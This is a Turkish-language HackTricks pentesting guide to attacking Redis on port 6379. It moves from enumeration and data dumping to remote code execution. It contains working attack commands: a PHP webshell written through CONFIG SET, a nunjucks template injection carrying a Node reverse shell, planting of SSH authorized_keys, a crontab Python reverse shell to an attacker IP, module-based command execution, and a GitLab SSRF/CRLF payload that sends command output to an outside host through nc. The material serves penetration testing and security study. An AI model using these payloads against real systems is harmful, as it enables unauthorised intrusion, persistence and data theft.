hacktricks/network-services-pentesting/6379-pentesting-redis.md

20 KiB
Raw Blame History

6379 - Redis Pentesting

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hackleme İçgörüleri
Hackleme heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin

Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın

En Son Duyurular
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin

Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!

Temel Bilgiler

Belgelerden alınan bilgilere göre: Redis, açık kaynaklı (BSD lisanslı), bellek içi veri yapıları deposu olarak kullanılan bir veritabanı, önbellek ve mesaj aracıdır.

Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak ssl/tls de uygulayabileceğinizi unutmamalısınız. Redis'i ssl/tls ile çalıştırmayı buradan nasıl öğreneceğinizi öğrenin.

Varsayılan port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Otomatik Numaralandırma

Redis örneğinden bilgi elde etmeye yardımcı olabilecek bazı otomatik araçlar:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Elle Sayma

Banner

Redis, bir metin tabanlı protokol olduğundan, sadece komutu bir sokete gönderebilirsiniz ve dönen değerler okunabilir olacaktır. Ayrıca Redis'in ssl/tls kullanarak çalışabileceğini unutmayın (ancak bu çok garip).

Normal bir Redis örneğine sadece nc kullanarak bağlanabilir veya ayrıca redis-cli'yi de kullanabilirsiniz:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

İlk komut deneyebileceğiniz komut info. Redis örneğinin bilgileriyle bir çıktı döndürebilir veya aşağıdakine benzer bir şey dönebilir:

-NOAUTH Authentication required.

Redis Kimlik Doğrulaması

Bu son durumda, bu, Redis örneğine erişmek için geçerli kimlik bilgilerine ihtiyaç duyduğunuz anlamına gelir.

Varsayılan olarak Redis'e kimlik bilgileri olmadan erişilebilir. Bununla birlikte, yalnızca şifreyi veya kullanıcı adı + şifreyi desteklemek üzere yapılandırılabileceği şekilde ayarlanabilir.
requirepass parametresiyle redis.conf dosyasına bir şifre belirlemek mümkündür veya hizmet yeniden başlatılana kadar geçici olarak ona bağlanarak ve çalıştırarak: config set requirepass p@ss$12E45.
Ayrıca, bir kullanıcı adı redis.conf dosyası içindeki masteruser parametresinde yapılandırılabilir.

{% hint style="info" %} Yalnızca şifre yapılandırıldıysa kullanılan kullanıcı adı "varsayılan" dır.
Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını harici olarak bulmanın bir yolu olmadığını unutmayın. {% endhint %}

Bu gibi durumlarda Redis ile etkileşim kurmak için geçerli kimlik bilgilerini bulmanız gerekecektir, bu nedenle kaba kuvvet uygulayabilirsiniz.
Geçerli kimlik bilgilerini bulduğunuzda oturumu doğrulamanız gerekecektir bağlantıyı kurduktan sonra komutla:

AUTH <username> <password>

Geçerli kimlik bilgileri şu şekilde yanıtlanacaktır: +OK

Kimlik doğrulamalı numaralandırma

Eğer Redis sunucusu anonim bağlantılara izin veriyorsa veya geçerli kimlik bilgilerine sahipseniz, hizmet için aşağıdaki komutları kullanarak numaralandırma sürecini başlatabilirsiniz:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Diğer Redis komutları burada bulunabilir ve burada** bulunabilir.**

Redis örneğinin komutları redis.conf dosyasında yeniden adlandırılabilir veya kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:

rename-command FLUSHDB ""

Redis servisini güvenli bir şekilde yapılandırma hakkında daha fazla bilgi burada: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Ayrıca Redis komutlarının gerçek zamanlı olarak izlenebileceği veya en yavaş 25 sorgunun slowlog get 25 komutu ile alınabileceği bir komut olan monitor ile izleme yapabilirsiniz.

Daha fazla Redis komutu hakkında ilginç bilgileri burada bulabilirsiniz: https://lzone.de/cheat-sheet/Redis

Veritabanı Dökümü

Redis içinde veritabanları 0'dan başlayan numaralardır. "Keyspace" bölümünde info komutunun çıktısında kullanılıp kullanılmadığını bulabilirsiniz:

Veya sadece tüm keyspace'leri (veritabanları) alabilirsiniz:

INFO keyspace

O örnekte veritabanı 0 ve 1 kullanılıyor. Veritabanı 0'da 4 anahtar ve veritabanı 1'de 1 anahtar bulunmaktadır. Varsayılan olarak Redis veritabanı 0'ı kullanacaktır. Örneğin veritabanı 1'i dökmek için şunları yapmanız gerekmektedir:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Eğer GET <KEY> komutunu çalıştırırken -WRONGTYPE Operation against a key holding the wrong kind of value hatasını alırsanız, bu anahtarın bir dize veya tamsayı olmaktan farklı bir şey olabileceğini ve onu görüntülemek için özel bir operatöre ihtiyaç duyabileceğini belirtir.

Anahtarın türünü öğrenmek için TYPE komutunu kullanın, aşağıdaki örnek listesi ve hash anahtarları için geçerlidir.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm ile veritabanını dökün redis-dump veya python redis-utils

Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin

Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın

En Son Duyurular
Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi edinin

Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!

Redis RCE

Etkileşimli Kabuk

redis-rogue-server, Redis(<=5.0.5) içinde etkileşimli bir kabuk veya ters kabuk otomatik olarak alabilir.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Bilgi buradan. Web sitesi klasörünün yolunu bilmelisiniz:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Şablon Webshell

Webshell erişiminde istisna oluşursa, yedekleme yaptıktan sonra veritabanını boşaltabilir ve tekrar deneyebilirsiniz, veritabanını geri yüklemeyi unutmayın.

Önceki bölümde olduğu gibi, bir şablon motoru tarafından yorumlanacak bir html şablon dosyasını da üzerine yazabilir ve bir shell elde edebilirsiniz.

Örneğin, aşağıdaki bu yazıda belirtildiği gibi, saldırgan nunjucks şablon motoru tarafından yorumlanan bir html içine bir rev shell enjekte etti:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Birçok şablon motorunun önbelleği şablonları bellekte önbelleğe alır, bu yüzden üzerine yazsanız bile yeni olan çalıştırılmaz. Bu durumlarda, ya geliştirici otomatik yenilemeyi aktif bıraktı ya da hizmet üzerinde bir DoS gerçekleştirmeniz gerekecek (ve bunun otomatik olarak yeniden başlatılmasını bekleyeceksiniz). {% endhint %}

SSH

Örnek buradan

Lütfen config get dir sonucunun diğer manuel saldırı komutlarından sonra değişebileceğine dikkat edin. Redis'e giriş yaptıktan hemen sonra bunu çalıştırmanızı öneririz. config get dir çıktısında redis kullanıcısının evini (genellikle /var/lib/redis veya /home/redis/.ssh) bulabilir ve bunu bildiğinizde authenticated_users dosyasını yazabileceğiniz yeri ve redis kullanıcısı ile ssh üzerinden erişebileceğiniz yeri bilirsiniz. Yazma izinleriniz olan diğer geçerli bir kullanıcının evini bildiğinizde bunu da kötüye kullanabilirsiniz:

  1. Bilgisayarınızda bir ssh genel-özel anahtar çifti oluşturun: ssh-keygen -t rsa
  2. Genel anahtarı bir dosyaya yazın: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Dosyayı redis'e aktarın: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Genel anahtarı authorized_keys dosyasına redis sunucusunda kaydedin:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Son olarak, özel anahtarla redis sunucusuna ssh yapabilirsiniz: ssh -i id_rsa redis@10.85.0.52

Bu teknik burada otomatikleştirilmiştir: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Son örnek Ubuntu için, Centos için yukarıdaki komut şöyle olmalıdır: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Bu yöntem aynı zamanda bitcoin kazanmak için de kullanılabilir: yam

Redis Modülü Yükleme

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand adresindeki talimatları takip ederek keyfi komutları yürütmek için bir redis modülü derleyebilirsiniz.
  2. Ardından derlenen modülü yüklemek için bir yola ihtiyacınız olacak.
  3. Yüklenen modülü çalışma zamanında MODULE LOAD /path/to/mymodule.so ile yükleyin.
  4. Doğru yüklendiğini kontrol etmek için yüklü modülleri listeleme: MODULE LIST
  5. Komutları yürütün:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. İstediğiniz zaman modülü kaldırın: MODULE UNLOAD mymodule

LUA kum havuzu atlatma

Burada Redis'in Lua kodunu kum havuzunda çalıştırmak için EVAL komutunu kullandığını görebilirsiniz. Bağlantılı yazıda dofile fonksiyonunu kullanarak bunu nasıl kötüye kullanabileceğinizi görebilirsiniz, ancak görünüşe göre artık bu mümkün değil. Neyse ki, Lua kum havuzunu atlatabilirseniz sistemde keyfi komutlar yürütebilirsiniz. Ayrıca, aynı yazıdan, DoS'a neden olacak bazı seçenekleri görebilirsiniz.

Lua'dan kaçmak için bazı CVE'ler:

Ana-Slave Modülü

Ana redis tüm işlemleri otomatik olarak slave redis'e senkronize eder, bu da redis zafiyetini bir slave redis olarak görebileceğimiz anlamına gelir, kendi kontrolümüzdeki ana redis'e bağlı olan slave redis'e komut girebiliriz.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

Redis'e konuşma yapmak

Eğer Redis'e ık metin isteği gönderebiliyorsanız, Redis isteği satır satır okuyacağından sadece anlamadığı satırlara hatalarla yanıt verecektir:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Bu nedenle, bir web sitesinde bir SSRF açığı bulursanız ve bazı başlıkları (belki bir CRLF açığı ile) veya POST parametrelerini kontrol edebilirseniz, Redis'e keyfi komutlar gönderebilirsiniz.

Örnek: Gitlab SSRF + CRLF ile Kabuk

Gitlab11.4.7'de bir SSRFığı ve bir CRLF keşfedildi. SSRFığı, yeni bir proje oluşturulurken URL'den proje içe aktarma işlevselliğinde bulunuyordu ve [0:0:0:0:0:ffff:127.0.0.1] formundaki keyfi IP'lere erişime izin veriyordu (bu, 127.0.0.1'e erişecekti), ve CRLFığı sadece URL'ye %0D%0A karakterlerini ekleyerek sömürüldü.

Bu nedenle, bu açıkları kullanarak gitlab'dan kuyrukları yöneten Redis örneğiyle iletişim kurmak ve bu kuyrukları kod yürütme elde etmek için kötüye kullanmak mümkündü. Redis kuyruk kötüye kullanım yükü:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Ve URL kodu çözme isteği SSRF'yi ve CRLF'yi kötüye kullanarak whoami komutunu çalıştırmak ve çıktıyı nc aracılığıyla geri göndermek:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Bir nedenden dolayı (bu bilginin alındığı https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ yazarı için) sömürme işlemi git şemasıyla çalıştı, http şemasıyla değil.

Deneyimli hackerlar ve hata ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin

Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin

En Son Duyurular
Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgilenin

Bize Discord katılın ve bugün en iyi hackerlarla işbirliğine başlayın!

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: